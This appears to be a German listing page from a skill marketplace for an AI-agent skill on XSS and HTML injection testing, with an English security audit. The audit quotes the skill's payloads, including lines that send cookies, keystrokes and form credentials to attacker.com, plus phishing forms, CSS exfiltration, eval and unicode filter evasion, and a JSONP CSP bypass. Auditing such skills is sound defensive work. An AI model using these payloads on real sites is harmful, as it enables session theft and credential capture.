Fähigkeiten cross-site-scripting-and-html-injection-testing
📦
cross-site-scripting-and-html-injection-testing
v1.1 Inhaltsrevision r1 Kritisch ⚡ Enthält Skripte⚙️ Externe Befehle🌐 Netzwerkzugriff📁 Dateisystemzugriff
XSS- und HTML-Injection-Risiken bewerten
Webanwendungen können unsichere Eingaben reflektieren und Nutzer clientseitigen Angriffen aussetzen. Dieser Skill hilft autorisierten Testern, XSS-Prüfungen zu planen, Befunde zu klassifizieren und Abhilfemaßnahmen zu dokumentieren.
Unterstützt: Claude Codex Code(CC)
Diesen Skill nicht automatisch installieren.
Die maßgebliche Richtlinie verlangt vor jeder Installationsaktion eine Prüfung durch einen Bediener.
Mit meinem Agent installieren
Kopieren Sie diese Anfrage in Ihren Agent. Sie enthält die maßgebliche Skill-Seite und das Manifest.
Agent-Anfrage
Review the Skillstore skill "cross-site-scripting-and-html-injection-testing" from https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-cross-site-scripting-and-html-injection-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Ihr Agent sollte weiterhin seinen Plan anzeigen und alle von der Sicherheitsrichtlinie verlangten Bestätigungen anfordern.
Agent-lesbare Ressourcen
Verwenden Sie diese Links, wenn ein KI-Agent, Crawler oder Skript sauberen Kontext benötigt, statt die vollständige Seite zu lesen.
Testen
„cross-site-scripting-and-html-injection-testing“ wird verwendet. Erstelle einen Testplan für eine autorisierte Bewertung einer Suchseite.
Erwartetes Ergebnis:
- Bestätigen Sie Umfang, Konten, Datenverarbeitung und erlaubte Testfenster.
- Testen Sie Reflexionen in Query-Parametern, Ergebnistiteln, Fehlermeldungen und gespeicherten Suchen.
- Dokumentieren Sie, ob die Ausgabe kodiert, bereinigt, blockiert oder ausgeführt wird.
„cross-site-scripting-and-html-injection-testing“ wird verwendet. Fasse einen Befund aus einer DOM-XSS-Code-Review zusammen.
Erwartetes Ergebnis:
- Nutzergesteuerte URL-Daten erreichen einen unsicheren Rendering-Sink.
- Die Auswirkung ist Skriptausführung im Browser des Opfers, wenn die Eingabe nicht kodiert wird.
- Die Behebung besteht darin, reines Text-Rendering oder einen geprüften Sanitizer zu verwenden.
„cross-site-scripting-and-html-injection-testing“ wird verwendet. Bereite Behebungsempfehlungen für ein gespeichertes XSS-Problem vor.
Erwartetes Ergebnis:
- Kodieren Sie Nutzerinhalte vor dem Rendering für den exakten Ausgabekontext.
- Validieren Sie Eingabelänge und -typ, verlassen Sie sich jedoch nicht allein auf Validierung.
- Fügen Sie Regressionstests hinzu und überwachen Sie auf gespeichertes unsicheres Markup.
Sicherheitsaudit
Kritischv4 • 6.7.2026 Versionsbericht öffnen
The audit confirms serious risks: the skill provides actionable XSS payloads for cookie theft, keylogging, session capture, phishing, and CSP bypass. Many shell-backtick and filesystem findings are false positives from Markdown or payload syntax, but the offensive exfiltration guidance remains security-relevant. The skill should be rewritten before publication to use harmless, authorized testing examples only.
1
Gescannte Dateien
500
Analysierte Zeilen
31
Prüfelemente
0
Falschmeldungen ignoriert
Bestätigte Sicherheitsbedenken (9)
Kritisch
Certificate/key files
new Image().src='http://attacker.com/log?k='+e.key;
Although the pattern label is imprecise, the line sends captured keystrokes to an attacker endpoint. That is sensitive user input exfiltration.
Kritisch
Keylogger keywords
<!-- Keylogger injection -->
The file labels and provides a keylogger injection payload that captures keystrokes. This is direct credential-theft capability, even in example form.
Kritisch
Credential and Session Exfiltration Guidance
The skill provides payloads for cookie theft, keylogging, session capture, and phishing form collection. This goes beyond safe validation guidance.
Multiple sections explicitly demonstrate stealing cookies, capturing keystrokes, collecting credentials, and sending session data to attacker endpoints.
Hoch
Base64 decode
<script>eval(atob('YWxlcnQoMSk='))</script>
Base64 decoding is combined with eval in an XSS payload. The context is filter evasion for script execution, not benign data handling.
Hoch
Base64 encode
new Image().src='http://attacker.com/c='+btoa(document.cookie);
Base64 encoding is used while sending document.cookie to an attacker endpoint. That is obfuscated session-data exfiltration guidance.
Hoch
Social Engineering Delivery Guidance
The skill recommends phishing emails, social messages, URL shorteners, QR codes, redirect chains, and phishing delivery of crafted attack URLs.
The delivery section names victim-delivery methods, and the reflected XSS example says to send the crafted URL by phishing email.
Hoch
Security Control Bypass Guidance
The skill gives reusable filter, CSP, and WAF bypass techniques instead of limiting guidance to defensive validation and remediation.
The cited sections include JavaScript obfuscation, JSONP-based CSP bypass, and troubleshooting advice for WAF-blocked payloads.
Mittel
Unicode escape sequence
<script>\u0061lert(1)</script>
Unicode escaping appears inside XSS payload examples for bypassing filters. The context makes it security-relevant evasion guidance.
Alle 9 bestätigten Funde anzeigen
Mittel
Unicode escape sequence
<img src=x onerror=\u0061\u006cert(1)>
Unicode escaping appears inside XSS payload examples for bypassing filters. The context makes it security-relevant evasion guidance.
Elemente der Fähigkeitsprüfung (31)
Dies sind echte lokale Fähigkeiten, die für diese Fähigkeit erwartet werden können; daher müssen sie überprüft werden, werden jedoch nicht als bestätigtes bösartiges Verhalten gezählt.
Kritisch
Hardcoded URL
new Image().src='http://attacker.com/log?k='+e.key;
The URL is used to send captured keystrokes to an attacker endpoint. This is keylogging and sensitive data exfiltration guidance.
Hoch
Dynamic code evaluation with eval()
eval()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
Hoch
Dynamic code evaluation with eval()
<script>eval('al'+'ert(1)')</script>
The payload uses dynamic JavaScript execution to evade filters and trigger script execution. This is actionable XSS exploitation guidance.
Hoch
Dynamic code evaluation with eval()
<script>eval(atob('YWxlcnQoMSk='))</script>
The payload uses dynamic JavaScript execution to evade filters and trigger script execution. This is actionable XSS exploitation guidance.
Hoch
Dynamic function constructor
Function()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
Hoch
document.write injection
document.write()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
Hoch
innerHTML assignment (XSS risk)
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
The example assigns URL hash data directly to innerHTML. That is a concrete DOM XSS pattern using user-controlled input.
Hoch
Fetch API call
fetch('http://attacker.com/capture',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Hoch
Fetch API call
fetch('https://attacker.com/log',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Hoch
Hardcoded URL
document.location='http://attacker.com/steal?c='+document.cookie
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Hoch
Hardcoded URL
fetch('http://attacker.com/capture',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Hoch
Hardcoded URL
<form action="http://attacker.com/phish" method="POST">
The URL is used in phishing or form-hijacking examples that collect user credentials. This is actionable social-engineering guidance.
Hoch
Hardcoded URL
<form action="http://attacker.com/capture">
The URL is used in phishing or form-hijacking examples that collect user credentials. This is actionable social-engineering guidance.
Hoch
Hardcoded URL
input[value^="a"]{background:url(http://attacker.com/a)}
The URL appears in CSS-based data exfiltration examples. The context shows extraction of input values through attacker-controlled requests.
Hoch
Hardcoded URL
input[value^="b"]{background:url(http://attacker.com/b)}
The URL appears in CSS-based data exfiltration examples. The context shows extraction of input values through attacker-controlled requests.
Hoch
Hardcoded URL
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:1
The URL is used in phishing or form-hijacking examples that collect user credentials. This is actionable social-engineering guidance.
Hoch
Hardcoded URL
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Hoch
Hardcoded URL
fetch('https://attacker.com/log',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Hoch
Hardcoded URL
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Hoch
Hardcoded URL
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+do
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Hoch
Hardcoded URL
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
The URL is used as a JSONP-based CSP bypass example. That is actionable guidance for bypassing a browser security control.
Mittel
insertAdjacentHTML (XSS risk)
element.insertAdjacentHTML()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
Mittel
Hardcoded URL
https://target.com/search?q=<script>alert(document.domain)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Mittel
Hardcoded URL
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Mittel
Hardcoded URL
https://target.com/page?name="><img src=x onerror=alert(1)>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Mittel
Hardcoded URL
https://target.com/page#<script>alert(1)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Mittel
Hardcoded URL
https://target.com/page#<img src=x onerror=alert(1)>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Mittel
Hardcoded URL
https://target.com/page?default=<script>alert(1)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Mittel
Hardcoded URL
<iframe src="https://target.com/vulnerable"></iframe>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Mittel
Hardcoded URL
https://shop.example.com/search?q=<script>alert(document.domain)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Mittel
Hardcoded URL
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Risikofaktoren
⚡ Enthält Skripte (7)
⚙️ Externe Befehle (64)
SKILL.md:49-58 SKILL.md:58-63 SKILL.md:63-78 SKILL.md:78-108 SKILL.md:108-115 SKILL.md:115-119 SKILL.md:119-149 SKILL.md:149-156 SKILL.md:156-168 SKILL.md:168-173 SKILL.md:173-179 SKILL.md:179-186 SKILL.md:186-200 SKILL.md:200-205 SKILL.md:205-215 SKILL.md:215-219 SKILL.md:219-232 SKILL.md:232-239 SKILL.md:239-257 SKILL.md:257-262 SKILL.md:262-273 SKILL.md:273-279 SKILL.md:279-295 SKILL.md:295-299 SKILL.md:299-311 SKILL.md:311-315 SKILL.md:315-320 SKILL.md:320-329 SKILL.md:329-331 SKILL.md:331-335 SKILL.md:335-345 SKILL.md:345-350 SKILL.md:350-356 SKILL.md:356-362 SKILL.md:362-363 SKILL.md:363-364 SKILL.md:364-365 SKILL.md:365-366 SKILL.md:366-367 SKILL.md:367-368 SKILL.md:368-371 SKILL.md:371-375 SKILL.md:375-378 SKILL.md:378-390 SKILL.md:390-419 SKILL.md:419-424 SKILL.md:424-429 SKILL.md:429-434 SKILL.md:434-443 SKILL.md:443-445 SKILL.md:445-448 SKILL.md:448-450 SKILL.md:450-453 SKILL.md:453-455 SKILL.md:455-464 SKILL.md:464-466 SKILL.md:466-469 SKILL.md:469-471 SKILL.md:471-480 SKILL.md:480-482 SKILL.md:482-485 SKILL.md:485-487 SKILL.md:487-496 SKILL.md:496
🌐 Netzwerkzugriff (26)
SKILL.md:134 SKILL.md:380 SKILL.md:122 SKILL.md:128 SKILL.md:134 SKILL.md:143 SKILL.md:158 SKILL.md:161 SKILL.md:164 SKILL.md:167 SKILL.md:221 SKILL.md:224 SKILL.md:228 SKILL.md:244 SKILL.md:251 SKILL.md:252 SKILL.md:256 SKILL.md:373 SKILL.md:380 SKILL.md:432 SKILL.md:444 SKILL.md:449 SKILL.md:454 SKILL.md:470 SKILL.md:481 SKILL.md:486
📁 Dateisystemzugriff (1)
Erkannte Muster
Keylogger keywords
Geprüft von: codex Audit-Verlauf anzeigen →
Diesen Bericht teilen & zitieren
Teile den versionierten Bewertungsbericht, das neutrale Badge, die Einbettungskarte und Zitate. Skillstore berichtet Nachweise, ohne zu entscheiden, ob dieser Skill sicher ist.
Berichtslink kopieren
https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown-Badge
[](https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing?utm_source=security_passport_badge)HTML-Badge
<a href="https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-cross-site-scripting-and-html-injection-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Einbettungskarte
<iframe src="https://skillstore.io/embed/skills/sickn33-cross-site-scripting-and-html-injection-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Wissenschaftliche Zitate (APA · BibTeX · CFF)
APA-Zitat
sickn33. (2026). cross-site-scripting-and-html-injection-testing security audit report (audit version 4) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4BibTeX-Zitat
@techreport{sickn33-sickn33-cross-site-scripting-and-html-injection-testing-2026,
author = {sickn33},
title = {cross-site-scripting-and-html-injection-testing security audit report (audit version 4)},
institution = {Skillstore},
year = {2026},
number = {4},
url = {https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "cross-site-scripting-and-html-injection-testing security audit report (audit version 4)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-06"
url: "https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4"
identifiers:
- type: other
value: "skillstore:sickn33-cross-site-scripting-and-html-injection-testing:audit:4"
description: "Skillstore immutable audit report identifier"
Skillstore-Score
Warum dieser Score Evidenzvertrauen: Mittel 55
Architektur
85
Wartbarkeit
87
Inhalt
69
Gemeinschaft
83
Spezifikationskonformität
Was Sie erstellen können
Eine autorisierte XSS-Bewertung planen
Erstellen Sie eine abgegrenzte Checkliste zum Testen reflektierter, gespeicherter und DOM-basierter Injection-Pfade.
Risikoreichen clientseitigen Code überprüfen
Identifizieren Sie unsichere DOM-Sinks und empfehlen Sie sicherere Rendering-Muster für nutzergesteuerte Daten.
Bestätigte Befunde dokumentieren
Wandeln Sie beobachtetes Verhalten in klare Hinweise zu Auswirkung, Reproduktion und Behebung um.
Diese Prompts ausprobieren
Einen sicheren Testplan erstellen
Ich habe eine schriftliche Autorisierung für diese Web-App. Erstelle einen nicht destruktiven XSS- und HTML-Injection-Testplan für die abgegrenzten Seiten.
Reflexionspunkte zuordnen
Identifiziere anhand dieser Formulare, URL-Parameter und Header wahrscheinliche Reflexionspunkte und schlage sichere Validierungsschritte vor.
DOM-Sinks analysieren
Überprüfe diesen clientseitigen Ablauf auf nutzergesteuerte Sources, unsichere DOM-Sinks und sicherere Rendering-Alternativen.
Den Befundbericht schreiben
Wandle meine autorisierten Testbeobachtungen in einen prägnanten XSS-Bericht mit Auswirkung, Nachweisen, Schweregrad und Behebungsempfehlungen um.
Bewährte Praktiken
- Verwenden Sie beim Testen nur abgegrenzte Konten, abgegrenzte Ziele und synthetische Daten.
- Bevorzugen Sie harmlose Ausführungsnachweise gegenüber Payloads zur Datenerfassung.
- Dokumentieren Sie Source, Sink, Kontext, Auswirkung und Behebung für jeden Befund.
Vermeiden
- Produktionsnutzer oder echte Sitzungen ohne ausdrückliche Genehmigung testen.
- Payloads verwenden, die Zugangsdaten, Cookies, Tastatureingaben oder lokalen Speicher erfassen.
- Einen blockierten Payload als Nachweis behandeln, dass die Anwendung sicher ist.
Häufig gestellte Fragen
Ist dieser Skill nur für autorisierte Tests gedacht?
Ja. Verwenden Sie ihn nur mit schriftlicher Autorisierung, definiertem Umfang und genehmigten Regeln zur Datenverarbeitung.
Führt er einen automatisierten Scanner aus?
Nein. Er bietet Struktur für manuelles Testen, Analyse-Prompts und Reporting-Leitlinien.
Kann er bei der Prüfung von DOM-basiertem XSS helfen?
Ja. Er listet häufige Sources, Sinks und Review-Fragen für clientseitige Codepfade auf.
Beseitigt CSP alle XSS-Risiken?
Nein. CSP reduziert die Auswirkung, aber Ausgabekodierung und sichere DOM-APIs sind weiterhin erforderlich.
Welche Nachweise sollte ein Bericht enthalten?
Nehmen Sie Umfang, betroffene Eingabe, Ausführungskontext, Auswirkung, Screenshots oder Notizen sowie Behebungsschritte auf.
Wie sollten unsichere Beispiele behandelt werden?
Ersetzen Sie sie vor jeder echten Bewertung durch harmlose Marker und synthetische Tokens.